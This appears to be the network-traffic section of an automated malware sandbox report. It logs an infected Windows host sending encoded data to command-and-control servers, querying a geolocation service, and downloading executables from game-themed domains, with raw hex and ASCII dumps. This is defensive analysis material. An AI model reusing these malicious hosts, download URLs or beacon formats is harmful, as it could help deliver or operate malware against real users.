Aug 31, 2022 14:29:15.947166920 CEST	20593	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:29:16.124695063 CEST	20594	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 6c 52 5a 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 68 4d 58 42 55 56 6e 70 73 62 6b 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 55 77 54 55 52 4e 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TlRZc0luSmhibVJmYzNSeUlqb2lhMXBUVnpsbklleUp6YVdRaU9qSXlOVEUwTURNc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:29:19.702387094 CEST	20693	OUT	POST /check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:29:19.702469110 CEST	20693	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:29:19.915900946 CEST	20722	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.4	49781	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:17.094727039 CEST	20621	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lfvfjrqay.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 126 Host: linislominyt11.at
Aug 31, 2022 14:29:17.094741106 CEST	20621	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bc 8a 14 62 cc d6 4f 96 ee d9 1a ba Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOyLoGb5#<rbvW)$
Aug 31, 2022 14:29:17.862652063 CEST	20639	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:29:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.4	49785	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:18.976070881 CEST	20650	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xvhcssv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 222 Host: linislominyt11.at
Aug 31, 2022 14:29:18.977010965 CEST	20651	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bd 8a 14 62 cd d6 4f 96 ba f7 08 f0 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOjf1d/e6Jjy={-f4`-M y^nI-H3zADB^@&.\|TUxP699O
Aug 31, 2022 14:29:20.108808041 CEST	20734	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:29:19 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 da 18 e4 8f c3 87 f2 e6 6f d7 09 2a b3 44 d5 e9 28 d6 76 c8 4d 7a 38 e0 bb 62 ea 6b 00 b4 d3 29 b3 2d e8 5f 3e 9c b7 5e c8 6b 5f 26 a3 b6 b1 e4 53 f3 dd 65 60 e5 dd 32 71 56 1e c7 92 3d 3b 59 4a 8d 22 bc 89 75 ad 4f 36 f8 37 33 b8 d6 f9 ca ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 50 53 59 01 13 ff 1d 09 52 2b e5 8d 83 7b 9e 45 f4 fe 73 8c 5c db c4 19 10 13 bf 1c a3 92 24 08 4f c5 93 0f cb a1 61 6e de f5 69 89 1a 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a 34 7a 7c 88 2c c8 48 ac d8 c5 4a 98 03 fd 6d 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 8f 94 f6 1a 38 9b 4a d8 19 2e 88 4f 7b 28 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 2f e7 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 27 64 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 c6 e5 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 d9 4d a2 90 4e b1 54 55 a5 9a b4 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 54 61 47 f1 2c 6e ad 03 5b db 1e e4 a6 65 13 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 dc d9 c3 e0 2b 29 f0 bb 01 28 17 28 d2 f8 42 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d cb 36 28 77 33 c3 00 45 93 67 27 0d 80 f5 64 f9 f3 c6 ec fe b3 ee ab 01 3f 26 58 c5 e1 08 ae d6 be 54 7f 20 4f aa cc dd b7 94 2a 02 13 91 32 99 e1 0b 02 6e 55 36 13 72 a2 b5 f7 ae 9a 5f 2a fb 56 bf 21 40 e8 d9 6c 02 35 d4 06 81 9b 14 e0 56 16 b0 b7 f3 b1 09 8c 41 45 12 2a 78 93 82 6b ca 61 db 78 28 8e d6 b8 66 00 83 3f 5c 85 85 14 6b 98 7e ce d2 69 a2 76 e0 3b d7 e3 ae b6 52 87 6e ef 36 77 4d 4f 78 9b 4b d8 42 cf ba 03 0e 7b c5 92 c9 0d 3a 27 30 7a 2b 39 95 3e ef e4 9c 8a Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGoD(vMz8bk)-_>^k_&Se`2qV=;YJ"uO673p"XJ3Ob>!Z:V?sBPSYR+{Es\$Oani~_TzN,%Qa4z\|,HJmk?aMF$l3l9\|~q8J.O{(LuVW;r#u1y/n+Lc1<'i3FH'dU}hU@Wt{9(B@w=fd0QpKMNTUo)2([T&}Wbyk\hTaG,n[et9Pmbz+)((Bzk7@\ RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=6(w3Eg'd?&XT O2nU6r_V!@l5VAE*xkax(f?\k~iv;Rn6wMOxKB{:'0z+9>
Aug 31, 2022 14:29:20.109409094 CEST	20735	IN	Data Raw: f5 47 c6 4c 59 f2 41 86 5c c2 5b e8 60 6e 08 34 8e 6d 32 82 41 be 27 66 43 ea da 35 6d 27 c1 df d1 d7 3a 4e 9d c5 bb 26 63 45 66 57 5a c6 cb 3d f5 88 92 9a 11 e3 00 99 32 72 47 42 13 18 dd 2c a8 6f cc e2 1c c8 9f db c0 20 88 cb f6 91 a9 3f 43 27 Data Ascii: GLYA\[`n4m2A'fC5m':N&cEfWZ=2rGB,o ?C'4,iyvsdb$f[W'67=7/I!`OSD+i!,wn*e1QW!@@_06#FfSFe_Wl"#LSBE
Aug 31, 2022 14:29:20.390825033 CEST	20742	IN	Data Raw: b6 d7 4f 82 aa 6c f0 d0 34 83 df e6 08 6e df 2f 72 c6 13 cf 96 55 66 20 c1 b7 a1 4f c6 98 b5 04 35 a8 4e 68 59 0f 4a 0c 21 fb 36 aa b9 2f 95 bd 04 2d b6 f8 37 51 c3 33 d5 43 cc 5a b6 1d 32 f0 7d f0 da 2d e9 61 fa 26 4a 92 7b 7f 40 be 39 61 9d c7 Data Ascii: Ol4n/rUf O5NhYJ!6/-7Q3CZ2}-a&J{@9a!ATXe\I;UnG:Z.+sn^INwL^'1*wOh\pC)T'7g,MSx-TV;>y<?vh!)i]+
Aug 31, 2022 14:29:20.390860081 CEST	20744	IN	Data Raw: 17 00 07 3e 10 15 ec 40 c3 ae 3a ab 0b 58 78 0c b8 11 49 ad ab 6c 87 53 57 2a ac 18 0f 71 f2 ba 5c b3 8f 5c 1e 7f 4c 8e 22 5d 62 22 20 75 d1 cd a7 cf 90 79 df 0b ea 2d 53 c3 21 e8 d6 20 11 1b 9e 37 eb 8c 2e 8b d5 9d 94 0b e9 5d 85 03 f7 e5 3f 7a Data Ascii: >@:XxIlSWq\\L"]b" uy-S! 7.]?zjd<X)1 Ol.\NSR4(iw^'vJ6w(Pp5,dGDL1kV2E,k@f5\{\&q_?Sg~]oiy*`7
Aug 31, 2022 14:29:20.390882969 CEST	20745	IN	Data Raw: 7b e7 2f 28 1a 73 ef 06 fd e9 2a 48 47 c2 44 12 5b 9a 9e 2b 0f 31 b3 84 cb bc 40 f8 6a 3c b0 d9 ba 67 1f db b8 6a db 0d 86 68 db 38 1b c7 2a 00 d5 79 c2 16 3e 8c b6 6a 37 e7 25 8f 34 2c 83 fb 10 ea 1e f2 ea 3c e4 ae 96 7c 06 c3 37 7a 31 17 09 87 Data Ascii: {/(sHGD[+1@j<gjh8y>j7%4,<\|7z1b%XgUE:rrXpcpx/KuZ^VnEX-S o6jI>64*XuaMVSdkj+Ory9>P@#HY
Aug 31, 2022 14:29:20.673010111 CEST	20884	IN	Data Raw: 91 cd a1 f4 38 6f bb ab 1c 25 10 9a a0 73 07 9d 2a 87 1a 0f 0e 30 10 80 8d 7e 38 85 45 89 18 56 eb 8a 6e 9d 8b 63 70 10 1f b8 8d b8 d4 68 3b 53 37 06 ea 32 9a 6d 71 44 c5 10 1f 9a eb 8d 92 d5 c8 33 52 61 e0 08 0a 65 8f 94 6e b2 e2 47 26 40 62 82 Data Ascii: 8o%s0~8EVncph;S72mqD3RaenG&@bi\D.%ZGA!W8T&C&nKbF4@kO&EVDz_Keqry*lG.((\0faa'R=Zq_J)4r!>M9?Y{%d
Aug 31, 2022 14:29:20.673048973 CEST	20885	IN	Data Raw: 18 3c 3b 65 4f d1 57 af 1b 9d a6 95 3b ed 3b f0 4b b7 23 a4 e6 af f2 53 cf db 77 16 85 7a 68 d2 10 d4 85 72 38 84 69 a8 93 ce 3d 36 08 7b 71 af 3c e9 66 8d 09 63 1f 72 99 c0 df dc cb ce 04 0a 59 ae 06 c2 8b e7 51 ab 11 69 eb 87 36 fc c3 5a 68 97 Data Ascii: <;eOW;;K#Swzhr8i=6{q<fcrYQi6Zh`;\|yF6OCZ32A=("-luF;y\|_4;Qu&yA#!>p>dh]Ty-fH:idd)*7o^j$;ag
Aug 31, 2022 14:29:20.673471928 CEST	20886	IN	Data Raw: 5a 4d 8f fc 4c 66 f6 bc ef 33 c3 cf 63 02 34 2a dd e1 fc dc 3e 96 cc 2c f5 7b db e7 7a 0e fa d0 a0 0d c8 6c 54 f7 95 dd 38 53 f0 7a 91 01 78 ce bb de 92 71 ec 31 d3 46 46 89 ef ff 71 7d 83 e5 a7 ed b7 6a 56 5d 13 ae fb ac 02 b0 8d 1e b7 ee 6c 47 Data Ascii: ZMLf3c4>,{zlT8Szxq1FFq}jV]lGx:,ZJ,Md!RL}'WZhma:g"%XXV-N.?ar~Mp~Va7]\[+]WiKMX)Sl\|iDyfu2K
Aug 31, 2022 14:29:20.799324036 CEST	20888	IN	Data Raw: 0b 72 c9 b3 b5 2a 15 3a 90 82 06 98 46 07 2e 4d 3e 17 14 b7 ae b0 8f 0f e7 f4 09 c2 ad 98 39 9d 97 a3 05 9f 76 81 29 69 26 15 73 f0 95 c1 47 05 8e c7 6d 90 9b c7 21 9c 16 68 89 9f 6e 62 2a 13 47 71 1b d0 a2 b1 57 bf 7c dd 0b 5f 4c 00 b6 01 25 50 Data Ascii: r:F.M>9v)i&sGm!hnbGqW\|_L%PL@jUt_-h\Ra*skI`^C#qYrO<.WXsY)O&oQd.ZgMe_q-V@5anQ)e`HJw[7q\|;ts(
Aug 31, 2022 14:29:20.799726963 CEST	20889	IN	Data Raw: e5 52 52 ca 66 f5 0c 31 34 a2 bd 9b f3 cd dd e6 d8 20 05 8e d1 fe ce ee df ca 43 9a a6 8a df 64 c5 c8 85 83 32 ca c7 2f 1e 69 87 e5 e1 10 01 66 5e 2b ab 9f 33 d6 72 13 dc 6c c7 e6 c8 2e f8 7d d5 c1 be ce c0 7b fb f5 13 46 ca bc 47 c2 db cf 91 7b Data Ascii: RRf14 Cd2/if^+3rl.}{FG{9{Ywc;EnhmDe(}c\{V#I;5fyr<ZFl^wD4DJ+By(.OC-;"D 'Jy<XgN3
Aug 31, 2022 14:29:20.955281019 CEST	20891	IN	Data Raw: 9e 4d 52 80 e9 d3 98 61 1e 27 e5 81 58 75 9c 07 20 62 ef 5b 2c 2f 9e 93 5c fc f6 0f 58 b5 34 5c e3 23 ef de a9 fa e5 9d ce bc b1 fe 64 01 53 9a ee 53 b3 ed f2 4a 81 3e 59 cf b8 02 7d e0 6f 90 8f 53 d3 1b 79 9b dc 5b 53 e8 dd a6 9c ba 05 e8 51 b3 Data Ascii: MRa'Xu b[,/\X4\#dSSJ>Y}oSy[SQDdua\|+_&bW^f}~_G1]z{C$E{XceST6qdAN(";HBpX$^/pJb7}h_Z2O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49727	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D7DE.exe

Timestamp	Direction	Data
2022-08-31 12:28:41 UTC	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-08-31 12:28:41 UTC	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 12:28:41 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: application/json
2022-08-31 12:28:41 UTC	IN	Data Raw: 31 66 34 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 43 48 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 35 36 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 75 72 69 63 68 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 36 5c 75 30 34 Data Ascii: 1f4{"ip":"102.129.143.57","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zurich","region_rus":"\u0426\u04

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49732	172.67.137.109	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:28:46 UTC	1	OUT	GET /gamexyz/31/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: i.xyzgamei.com
2022-08-31 12:28:47 UTC	1	IN	HTTP/1.1 302 Found Date: Wed, 31 Aug 2022 12:28:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IKOascJMmRPrTNGR4dONgUIKtwDLW%2FaSNuUYo8ACUVjQsX3Ubh%2FftRrf%2BBL%2FDpSgWAGlP%2BiZXjhu%2B8tyqXIRQvlY2FQYPzI7%2FnR7xbDbssV3EDinlE3TfDn6HmP8DZILtw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c498dd25778b-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:28:47 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49749	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:03 UTC	4745	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:03 UTC	4745	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:18 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A4kJdyg5TBUyBgmPTJaRvN0cLXnfiYuiqEz87OlC6dpxjMErJXJtIrg%2BSUvDy4UHxmRPBOAzj46kDQtbunBPhHE4ZW80RBkqlQGF0A8mcVPJTVz2yPNih3r%2Fi5xFqAu9fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c4fffb0890f4-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:03 UTC	4745	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:03 UTC	4746	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
